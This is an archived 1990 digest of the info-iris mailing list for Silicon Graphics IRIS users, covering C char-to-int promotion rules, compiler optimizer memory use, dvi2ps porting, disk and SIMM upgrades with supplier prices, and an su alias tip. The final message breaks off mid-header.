writes: >I believe the following program demonstrates a bug in the C compiler (release >3.2 of IRIX). > >main() { > double x; > char c; > c = 10; > x = (double)(c - 20); > printf("x = %f\n", x); >} > >I was under the impression that the (unsigned) char should be converted to an >int in the process of evaluating c - 20. Rather, c gets converted to an >unsigned int, resulting in x getting the value 4294967286.000000 rather than >-10.000000. > >I haven't filed this with sgi, but I assume that after an article or two >supporting or refuting this appears they will pick it up. Apologies >if this has been discovered/covered before. Ah, no, it is not a bug. But for C programmers used to signed char machines, it is a surprise. As appendix A6.1 of K&R 2nd ed. says, if you are mixing unsigned (char) and signed (20), then the value represented is used as unsigned int. A.K.A. integral promotion. In other words, it is supposed to work exactly like that.   Received: from vmb.brl.mil by VMB.BRL.MIL id ab12791; 17 Apr 90 18:54 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa12718; 17 Apr 90 18:44 EDT Received: by VMB.BRL.MIL id aa12693; 17 Apr 90 18:30 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa12566; 17 Apr 90 18:15 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa20156; 17 Apr 90 17:47 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA17487; Tue, 17 Apr 90 14:34:32 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 17 Apr 90 21:32:07 GMT From: "David R. Blythe" Organization: EECG, University of Toronto Subject: Re: C Compiler Bug(?) Message-Id: <1990Apr17.173206.10808@jarvis.csri.toronto.edu> References: <1990Apr16.152655.876@jarvis.csri.toronto.edu>, <6445@odin.corp.sgi.com> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <6445@odin.corp.sgi.com> pkr@ronco.sgi.com (Phil Ronzone) writes: ... > >Ah, no, it is not a bug. But for C programmers used to signed char machines, >it is a surprise. > >As appendix A6.1 of K&R 2nd ed. says, if you are mixing unsigned (char) and >signed (20), then the value represented is used as unsigned int. >A.K.A. integral promotion. > >In other words, it is supposed to work exactly like that. Actually, its a surprise for C programmers used to signed char machines and unsigned char machines which promote unsigned char to int rather than unsigned int (The CRAY [XY]-MP does this, I don't know if any other vendor does). I confess that the description of the sgi compiler behaviour is properly documented in their C reference manual, I am just not sure whether this is the expected behaviour. Now I am sure this question has been beaten to death (in say comp.lang.c), but does an ansi conforming compiler really convert to int or unsigned int or is it implementation dependent? In either case I guess I should send some mail back to the person from whence I obtained the source code exhibiting this problem and suggest a few well placed casts. (Of course, I would never write such code :-). drb@bessel.clsc.utoronto.ca   Received: from vmb.brl.mil by VMB.BRL.MIL id aa16276; 18 Apr 90 3:57 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa15884; 18 Apr 90 2:54 EDT Received: from adm.brl.mil by VMB.BRL.MIL id aa15868; 18 Apr 90 2:28 EDT Received: from ucbvax.Berkeley.EDU by ADM.BRL.MIL id aa07681; 17 Apr 90 21:30 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA01473; Tue, 17 Apr 90 18:07:56 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 17 Apr 90 21:44:20 GMT From: "David B. Anderson" Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: perl 3.0.18 for DECstation 3100? Message-Id: <57119@sgi.sgi.com> References: <1689@tuegate.tue.nl>, , <1990Apr17.134528.9328@alias.uucp> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <1990Apr17.134528.9328@alias.uucp>, chk%alias@csri.toronto.edu (C. Harald Koch) writes: > In article <1690@tuegate.tue.nl> rcpt@tuegate.tue.nl (Piet Tutelaers) writes: [ ] > I beleive that SGI uses the same MIPS-originated C compiler. I have noticed > that the optimizer takes very non-linear time and memory wrt the Olimit Yes, when paging begins the run times get *seriously* non-linear! > this happened I went exploring to see what was wrong; the optimizer was > attempting to use 30Meg of memory on a 16Meg machine, and causing immense > amounts of paging activity. > This may be a bug in SGI's version of the compiler. ^^^^^^^^^^^^ We discovered a bug (in January 1990) in the MIPS Pascal library that has been there ``forever'': Certain Pascal I/O operations caused memory to be malloc'd and never free'd. We fixed this for our 3.3 release. We also notified MIPS at that time. Fixing this reduced the memory size of an optimizer run (on a huge source file with lots of functions) by 40%. Your mileage may vary. [ David B. Anderson Silicon Graphics (415)335-1548 davea@sgi.com ] [``What can go wrong?'' --Calvin and Hobbes]   Received: from vmb.brl.mil by VMB.BRL.MIL id aa16675; 18 Apr 90 5:28 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa16525; 18 Apr 90 5:17 EDT Received: from adm.brl.mil by VMB.BRL.MIL id aa16503; 18 Apr 90 4:52 EDT Received: from ucbvax.Berkeley.EDU by ADM.BRL.MIL id aa20784; 18 Apr 90 4:38 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA26492; Wed, 18 Apr 90 01:32:39 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 18 Apr 90 03:31:24 GMT From: Ted Lemon Organization: Digital Equipment Corporation Subject: Re: perl 3.0.18 for DECstation 3100? Message-Id: References: <1689@tuegate.tue.nl>, Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL C. Harald Koch writes: >When compiling with -Olimit 3000, It runs and runs and runs... I >killed the compiler after about 45 minutes. After about 5 minutes the >machine gets incredibly sluggish. [...] the optimizer was attempting >to use 30Meg of memory on a 16Meg machine, and causing immense amounts >of paging activity. This may be a bug in SGI's version of the >compiler. Gee, on my DECstation 5000 with 24 meg, it only took about fifteen or twenty minutes to build. On Mike Meyer's DECstation 3100 with 16 meg, it ran overnight. Therefore, I don't think it's a bug in the compiler, but rather simply a configuration problem. If you swap out your SGI workstation for a DECstation 5000 and be sure to populate it with more memory, you should have better success. Or, to take a less DEC-rah-rah attitude, expanding the memory in your SGI machine would probably solve the problem. _MelloN_   Received: from vmb.brl.mil by VMB.BRL.MIL id aa25354; 18 Apr 90 13:45 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa24615; 18 Apr 90 13:03 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa24601; 18 Apr 90 12:54 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa01847; 18 Apr 90 12:04 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA16163; Wed, 18 Apr 90 08:54:55 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 18 Apr 90 13:41:15 GMT From: Gregory Mark Hulbert Organization: University of Michigan Engineering, Ann Arbor Subject: dvi2ps for IRIS? Message-Id: <1990Apr18.134115.24669@caen.engin.umich.edu> References: <9004172126.AA10002@cs.nps.navy.mil> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Is anyone aware of a version of dvi2ps for IRIS machines? I have the source for dvi2ps that runs properly on Suns but does not compile correctly on my 4D/220 (the 1st problem is in the file.h system header). Thanks for your help. Greg Hulbert Gregory_M._Hulbert@ub.cc.umich.edu   Received: from vmb.brl.mil by VMB.BRL.MIL id aa25762; 18 Apr 90 14:18 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab25354; 18 Apr 90 13:57 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa25208; 18 Apr 90 13:36 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa02184; 18 Apr 90 13:02 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA20923; Wed, 18 Apr 90 09:56:16 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 18 Apr 90 15:16:40 GMT From: Bob Manson Organization: Engineering Computing Facility, University of Toronto Subject: Need help connecting Fuji 2344's to Xylogics 754 controller Message-Id: <1990Apr18.151640.28019@ecf.utoronto.ca> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Has anyone on the net successfully connected Fujitsu 2344 drives to the Xylogics 754 controller on a 4D/120? If you have, what did you use as a template (since the 2344's don't appear in the list of supported drives in fx)? I need information about the number of sectors/track, whether you used hard or soft sectoring etc.. Did you have to use dvhtool at all? Any help at all would be appreciated. thanks Bob Manson manson@ecf.utoronto.ca   Received: from vmb.brl.mil by VMB.BRL.MIL id aa27312; 18 Apr 90 16:20 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa27161; 18 Apr 90 16:09 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa27141; 18 Apr 90 15:59 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa03022; 18 Apr 90 14:49 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA27548; Wed, 18 Apr 90 11:42:10 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 18 Apr 90 17:59:12 GMT From: Tony Rick Organization: Tektronix Inc., Beaverton, Or. Subject: putting 4Mb SIMMS in 4D/20 Message-Id: <718@tekadg.ADG.TEK.COM> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL I have a 4D/20 fully populated with 1Mb SIMMS, which was its original configuration. I would like to replace some of the memory with 4Mb SIMMS. Has anybody done this? Can I mix 4Mb SIMMs and 1Mb SIMMs? Do I need 100ns? 80ns? Is there a size consideration? (Some SIMMs are larger than others.) I've seen the posting about suppliers, but I would like to hear stories from the Real World. Please respond to my email address. I will summarize to this newsgroup. Tony Rick Tektronix, Inc. Beaverton, OR email:tonyr@tekadg.adg.tek.com voice:503-627-2942   Received: from vmb.brl.mil by VMB.BRL.MIL id aa27688; 18 Apr 90 16:51 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab27161; 18 Apr 90 16:10 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id ab27141; 18 Apr 90 15:59 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa03026; 18 Apr 90 14:50 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA27660; Wed, 18 Apr 90 11:43:36 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 18 Apr 90 15:35:16 GMT From: "David B. Anderson" Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: C Compiler Bug(?) Message-Id: <57205@sgi.sgi.com> References: <1990Apr16.152655.876@jarvis.csri.toronto.edu>, <6445@odin.corp.sgi.com>, <1990Apr17.173206.10808@jarvis.csri.toronto.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <1990Apr17.173206.10808@jarvis.csri.toronto.edu> drb@eecg.toronto.edu (David R. Blythe) writes: >In article <6445@odin.corp.sgi.com> pkr@ronco.sgi.com (Phil Ronzone) writes: >... [ stuff deleted ] >Actually, its a surprise for C programmers used to signed char machines >and unsigned char machines which promote unsigned char to int rather >than unsigned int (The CRAY [XY]-MP does this, I don't know if any other >vendor does). I confess that the description of the sgi compiler behaviour >is properly documented in their C reference manual, I am just not sure >whether this is the expected behaviour. Now I am sure this question has >been beaten to death (in say comp.lang.c), but does an ansi conforming Yes :-) >compiler really convert to int or unsigned int or is it implementation To int in ANSI C. >dependent? In either case I guess I should send some mail back to the person Implementation dependent in *pre-ANSI* C. >from whence I obtained the source code exhibiting this problem and suggest a >few well placed casts. (Of course, I would never write such code :-). ^^^^^^^^^^^^^^^^^^^^^ ``A few well placed casts'' would be well advised in code which is intended to be portable. ANSI 3.2.1.1 (from Dec 88 draft. The Standard will say the same.) ``A char, a short int, or an int bit field, or their signed or unsigned varieties, or an object that has enumeration type, may be used in an expression whereever an int or unsigned int may be used. If an int can represent all values of the original type, the value is converted to an int; otherwise it is converted to unsigned int.'' This is termed (explicitly in the rationale) ``value preserving'' promotions. From the Rationale: 3.2.1.1: ``Since the publication of K&R, a serious divergence has occurred among implementations of C in the evolution of integral promotion rules.'' In our implementation, char and unsigned char fit in an int. Promotion rules in expressions in our environment (we default ``char'' to unsigned char unless -signed is given on the cc command line): Our C (and many other pre-ANSI C's): signed char -> sign extension -> int unsigned char -> no extension -> unsigned int ANSI C: signed char -> sign extension ->int unsigned char -> no sign extension -> int char (without a signed or unsigned) is, _though not the same type as signed char or unsigned char_, treated like one of them for promotions. See 3.2.1.1 and 3.5.2. Hope this helps. [ David B. Anderson Silicon Graphics (415)335-1548 davea@sgi.com ] [``What can go wrong?'' --Calvin and Hobbes]   Received: from vmb.brl.mil by VMB.BRL.MIL id aa28087; 18 Apr 90 17:41 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa27845; 18 Apr 90 17:20 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa27767; 18 Apr 90 17:02 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa03637; 18 Apr 90 16:18 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA03122; Wed, 18 Apr 90 13:06:20 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 18 Apr 90 13:34:31 GMT From: Urs Meyer Organization: University of Zurich, Department of Computer Science Subject: Re: . in $path Message-Id: <1990Apr18.133431.9578@gorgo.ifi.unizh.ch> References: <283:doelz@urz.unibas.ch>, <1630@dftsrv.gsfc.nasa.gov>, <10704@alice.UUCP> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <10704@alice.UUCP> andrew@alice.UUCP (Andrew Hume) writes: >research unix has su in /etc, not bin, and as /etc is not normally >in $PATH, you get into the habit of saying /etc/su real fast. >as for system v style machines (like sgi), su is a botch in that it >is in /bin but i always invoke it directly as /bin/su. Why not use an alias (assuming root uses csh): alias su /bin/su # which su su aliased to "/bin/su" /bin/su # Aliases are resolved before the PATH is searched. --- Urs Meyer ---------- meyer@ifi.unizh.ch, {uunet,...}!mcsun!cernvax!unizh!meyer University of Zurich, Dept of Computer Science, Multimedia Lab, CH-8057 Zurich   Received: from vmb.brl.mil by VMB.BRL.MIL id aa00740; 19 Apr 90 0:07 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ac00498; 18 Apr 90 23:46 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id ab00419; 18 Apr 90 23:30 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa05147; 18 Apr 90 21:47 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA24663; Wed, 18 Apr 90 18:43:10 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 18 Apr 90 17:08:20 GMT From: merlin Organization: Southern Methodist University, CSE Dept. Dallas, TX Subject: Third-Party Disks Message-Id: <16256@smunews.UUCP> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL A faculty member here would like to put a new disk into a Personal Iris. He is considering their 190-megabyte (formatted?) disk. This appears to be a half-height SCSI disk, with a special mounting tray that allows the disk to simply slide in place. It mates with a D-type connector at the end for data, and a separate power connector. The power connector appears to be a 9-pin square device. Before paying what SGI wants for one of these, does anyone know of third-party sources for Iris drives? We could, of course, just buy a standard half-height SCSI, also. In that case, we'd need to get a mounting tray. Anyone know how to do that? I might be able to get it from SGI, if I knew the correct part number. What experiences have *you* had with third-party drives on SGI? Any information appreciated, David Hayes School of Engineering Southern Methodist University merlin@smu.edu uunet!smu!merlin "Here's a test to see if your job here on Earth is finished: If you're still here, it isn't." -- Richard Bach, _Illusions_   Received: from vmb.brl.mil by VMB.BRL.MIL id aa00839; 19 Apr 90 0:27 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab00498; 18 Apr 90 23:45 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa00419; 18 Apr 90 23:30 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa05145; 18 Apr 90 21:47 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA24489; Wed, 18 Apr 90 18:40:23 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 18 Apr 90 22:10:34 GMT From: Mark Callow Organization: Silicon Graphics Inc., Entry Systems Division Subject: Re: dvi2ps for IRIS? Message-Id: <6529@odin.corp.sgi.com> References: <9004172126.AA10002@cs.nps.navy.mil>, <1990Apr18.134115.24669@caen.engin.umich.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <1990Apr18.134115.24669@caen.engin.umich.edu>, hulbert@caen.engin.umich.edu (Gregory Mark Hulbert) writes: |> Is anyone aware of a version of dvi2ps for IRIS machines? I have the |> source for dvi2ps that runs properly on Suns but does not compile |> correctly on my 4D/220 (the 1st problem is in the file.h system |> header). There is a dvi2ps that works with NeWS 1.1 (4Sight) and NeWS 2.0 (xnews 1.0) available in the archives on Janet (the UK academic network). I don't know whether or not it compiles on on an IRIS. The author is James Clark (no relation) at relay.EU.net!jclark!jjc. -- From the TARDIS of Mark Callow msc@ramoth.sgi.com, ...{ames,decwrl}!sgi!msc "There is much virtue in a window. It is to a human being as a frame is to a painting, as a proscenium to a play. It strongly defines its content."   Received: from vmb.brl.mil by VMB.BRL.MIL id aa18349; 20 Apr 90 14:51 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ac17650; 20 Apr 90 13:58 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa17516; 20 Apr 90 13:41 EDT Received: from BU.EDU by VGR.BRL.MIL id aa08822; 20 Apr 90 10:19 EDT Received: by BU.EDU (1.97) Fri, 20 Apr 90 10:20:19 EDT Received: by adt.uucp (3.2/SMI-3.2) id AA18980; Wed, 18 Apr 90 18:34:29 EDT Date: Wed, 18 Apr 90 18:34:29 EDT From: james cerrato Message-Id: <9004182234.AA18980@adt.uucp> To: info-iris@BRL.MIL Subject: Request for C++ info. I am currently working on a code generator which will produce C++ Class definitions, and method implementations from Conceptual Schemas that have been entered into our graphical knowledge base application. First I am looking for information on available C++ compilers, preprocessors, translators etc.., including prices. Second I'd like to know if there is a mailling list I could get on that has C++ or even just OO Languages as the topic. If anyone can help out with information it will be greatly appreciated. Thanks in advance. James Cerrato Associative Design Technology Westboro, MA 508-366-9166 james@adt.uucp "Going to Montana, gonna be a dental floss tycoon"   Received: from vmb.brl.mil by VMB.BRL.MIL id ab01893; 19 Apr 90 12:46 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab01433; 19 Apr 90 12:29 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id ab01136; 19 Apr 90 12:15 EDT Received: from aero4.larc.nasa.gov by VGR.BRL.MIL id aa00579; 19 Apr 90 7:31 EDT Received: Thu, 19 Apr 90 07:32:57 EST by aero4.larc.nasa.gov (5.52/5.6) Date: Thu, 19 Apr 90 07:32:57 EST From: "Brent L. Bates AAD/TAB MS361 x42854" Message-Id: <9004191432.AA01704@aero4.larc.nasa.gov> To: johnm@picasso.umbc.edu Subject: Re: please add me to info-iris list Cc: info-iris@BRL.MIL Yes, you are suppose to send requests to: info-iris-request@vmb.brl.mil If you don't, there is no telling when you will be added to the list. -- Brent L. Bates NASA-Langley Research Center M.S. 361 Hampton, Virginia 23665-5225 (804) 864-2854 E-mail: blbates@aero4.larc.nasa.gov or blbates@aero2.larc.nasa.gov   Received: from vmb.brl.mil by VMB.BRL.MIL id ab02610; 19 Apr 90 12:57 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ac01893; 19 Apr 90 12:47 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa01848; 19 Apr 90 12:38 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa01613; 19 Apr 90 10:47 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA09127; Thu, 19 Apr 90 07:39:56 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 19 Apr 90 13:44:53 GMT From: Richard Rosenthal Organization: USAETL, Fort Belvoir, Virginia Subject: /usr/demos/data/flight Message-Id: <437@ai.etl.army.mil> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL What is the format of the files under /usr/demos/data/flight? Is there a program that comes with 4D85GT that will display these files? /s/ Rich Rosenthal richr@ai.etl.army.mil -- Richard Rosenthal Internet: richr@ai.etl.army.mil Engineer Topographic Labs UUCP: ...!ames!ai.etl.army.mil!richr Alexandria, VA 22060-5546 Phone: +1 202 355 3653   Received: from vmb.brl.mil by VMB.BRL.MIL id aa03650; 19 Apr 90 13:49 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa01433; 19 Apr 90 12:29 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id ab00979; 19 Apr 90 12:10 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa07247; 19 Apr 90 3:47 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA16328; Thu, 19 Apr 90 00:36:36 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 19 Apr 90 06:44:22 GMT From: zaphod.mps.ohio-state.edu!rpi!brutus.cs.uiuc.edu!wuarchive!wums2!tan_j@tut.cis.ohio-state.edu Subject: 4 mbit memory on personal iris Message-Id: <3462.262d17f6@wums.wustl.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL We are going to get a 4D25G soon. I wonder if it is possible to get 4-mbit SIMMS (I think it's already out in open market) to add on the original mother board. If it is, what is the maximum memory 4D25 can handle ? -Jit   Received: from vmb.brl.mil by VMB.BRL.MIL id ab06541; 19 Apr 90 16:58 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa05931; 19 Apr 90 16:32 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa05838; 19 Apr 90 16:11 EDT Received: from aero4.larc.nasa.gov by VGR.BRL.MIL id aa03977; 19 Apr 90 13:57 EDT Received: Thu, 19 Apr 90 13:59:28 EST by aero4.larc.nasa.gov (5.52/5.6) Date: Thu, 19 Apr 90 13:59:28 EST From: "Brent L. Bates AAD/TAB MS361 x42854" Message-Id: <9004192059.AA04391@aero4.larc.nasa.gov> To: zaphod.mps.ohio-state.edu!rpi!brutus.cs.uiuc.edu!wuarchive!wums2!tan_j@tut.cis.ohio-state.edu Subject: Re: 4 mbit memory on personal iris Cc: info-iris@BRL.MIL I think someone just posted something about 64Mb being the max memory for a Personal, if you had the right revision level and surely if you are getting a new machine it should be the latest rev. ?! Here is a list I have compiled from info-iris mail. All comments are from the original poster. I don't know how good or bad any of them are we haven't ordered anything yet. Sophisticated Circuits 19017 120th Ave N.E. Bothel, WA 98011 (206) 485-7172. Memory for 4D 20's, 1Mb simms, $125/Mb (January '90) 4MB chips also available. About 3day delivery. "...about the 4th time I have bought memory from them. Last year I got a batch of bad chips and they promptly replaced them with no hassle. The original memory I bought is still working fine, just about 2 years." Impediment, Inc. 333 Duxbury, MA 02332 (617) 837-8877 Memory for 4D 20's, 1Mb simms, $90/Mb (early January '90) Memory for 4D 20's, 4Mb simms, $187.5/Mb (early January '90) Memory for 4D 200's $225/Mb (early January '90) (Have heard good things about this company, including 5 year replacement guarantee, not 90 days like some companies) ClearPoint 35 Parkwood Drive Hopkington,MA 07148 (800) 253-2778, (508) 435-2000 Memory for 4D 20's, $76/Mb (GSA pricing) (late February '90) 1Mb sims, $100/Meg (80Ns); 4Mb sims, $200/Meg (Life time warranty.) Parity Systems Inc. 504-B Vandell Way Campbell, CA 95008-9737, John Miller (408) 378-1000, FAX: (408) 378-1022 1MB 80ns SIMMS in Sun 3/x0's and SGI 4D/25's. $85US. (early Jan/90) No problems, fast ship, life-time warranty. If anyone has any more names to add to the list or new prices please let me know. Also, please include an address or at least a phone number for the company. -- Brent L. Bates NASA-Langley Research Center M.S. 361 Hampton, Virginia 23665-5225 (804) 864-2854 E-mail: blbates@aero4.larc.nasa.gov or blbates@aero2.larc.nasa.gov   Received: from vmb.brl.mil by VMB.BRL.MIL id aa07353; 19 Apr 90 17:50 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa06541; 19 Apr 90 16:58 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa06087; 19 Apr 90 16:23 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa04098; 19 Apr 90 14:22 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA18286; Thu, 19 Apr 90 10:07:57 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 19 Apr 90 16:18:59 GMT From: Guest Account Organization: Goddard Space Flight Center Climate and Radiation Branch Subject: Re: /usr/demos/data/flight Message-Id: <1738@dftsrv.gsfc.nasa.gov> References: <437@ai.etl.army.mil> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <437@ai.etl.army.mil> richr@ai.etl.army.mil. (Richard Rosenthal) writes: >What is the format of the files under /usr/demos/data/flight? > >Is there a program that comes with 4D85GT that will display these files? Yes. /usr/demos/bin/flight   Received: from vmb.brl.mil by VMB.BRL.MIL id aa07686; 19 Apr 90 18:36 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa07598; 19 Apr 90 18:26 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa07569; 19 Apr 90 18:06 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id ab04718; 19 Apr 90 15:55 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA27709; Thu, 19 Apr 90 12:30:45 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 19 Apr 90 18:15:33 GMT From: Thilaka Sumanaweera Organization: Stanford University Subject: 4Meg SIMMS on SGI 4D/20 and 4D/25 Message-Id: <11364@portia.Stanford.EDU> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL I have done some research into finding the possibility of incorporating 4Meg SIMMS into SGI Personal Iris 4D/20 and 4D/25. From what I hear, you cannot use 4Meg SIMMS in 4D/20. 4D/25 however can take 4Meg SIMMS. I have been told by the sales rep/ owner of Impediment Inc. ( a memory supplier), Alex Sunguroff that they have successfully installed 4Meg SIMMS on a 4D/25 machine in Princeton. I have also been told by a service person in SGI (I don't remember the name), that he had seen a 4D/25 working with 8Meg worth of 1Meg SIMMS and 16Meg (could be 24Meg, I don't remember.) worth of 4Meg SIMMS in harmony. I myself have ordered 4Meg SIMMS to be installed in our 4D/25 and I am waiting to see what happens by first installing them along with the 1Meg SIMMS. I will post the results to the net when they are available. (hopefully within next 2 weeks.) Now as for the prices, the cheapest I could find was $525 per 4Meg SIMM from Impediment Inc. The owner, Alex is a very resourceful, helpful and friendly person. Here are the results of my price survey: 1. Impediment Inc., 333 Duxbury, MA 02332 (617)837-8877 Alex Sunguroff - car phone: (617)694-4488 $525/4Meg - 80ns.- Kingston as of 3/8/90 2. ClearPoint, 35 Parkwood Drive, Hopkington, MA 07148 - (800)253-2778 Distributor: Dick Smith, Software Associates - (916)344-5558 $730/4Meg - 100ns. - Clearpoint as of 3/7/90 3. Datarep Co., - (408)730-2121 - David M McWalters, Chip Meyers (100ns) Piiceon, Helio: $575, (80ns): $625 as of 3/7/90 4. South Coast Electronics - (213)208-3260 - Bob Rich - $588 - Toshiba or Hitachi (80ns) - as of 3/8/90 5. Peter Kikos: Systems Research $595 - Hitachi 80ns (415)940-1890 - as of 3/8/90 Thilaka   Received: from vmb.brl.mil by VMB.BRL.MIL id ab08126; 19 Apr 90 20:13 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab07860; 19 Apr 90 20:02 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa07845; 19 Apr 90 19:40 EDT Received: from CS.NPS.NAVY.MIL by VGR.BRL.MIL id aa05809; 19 Apr 90 18:13 EDT Received: by cs.nps.navy.mil (5.51/1.26) id AA25815; Thu, 19 Apr 90 14:17:58 PST Date: Thu, 19 Apr 90 14:17:58 PST From: George Dabrowski 647-4318 Message-Id: <9004192217.AA25815@cs.nps.navy.mil> To: info-iris@BRL.MIL I have completed courses at the Naval Postgraduate School, Monterey and am now interested in emolyment as a graphics programmer using a Silicon Graphics IRIS workstation. The courses I have completed are Intro to Computer Graphics, Advanced Computer Graphics, and Advanced Programming in C with Data Structures. I have completed a graphics program demonstrating human animation and am currently writing a materials editor for the IRIS-4D GT. Also, I have been programming in C/UNIX for about two years and have experience in using C in an MS DOS environment. THANK YOU George Dabrowski PO BOX FC Pacific Grove, CA 93950 (work) 48-647-4318 (home) 408-372-5460 E-mail: dabro@cs.nps.navy.mil   Received: from vmb.brl.mil by VMB.BRL.MIL id aa08800; 19 Apr 90 22:00 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab08556; 19 Apr 90 21:22 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa08493; 19 Apr 90 21:11 EDT Received: from TROUT.NOSC.MIL by 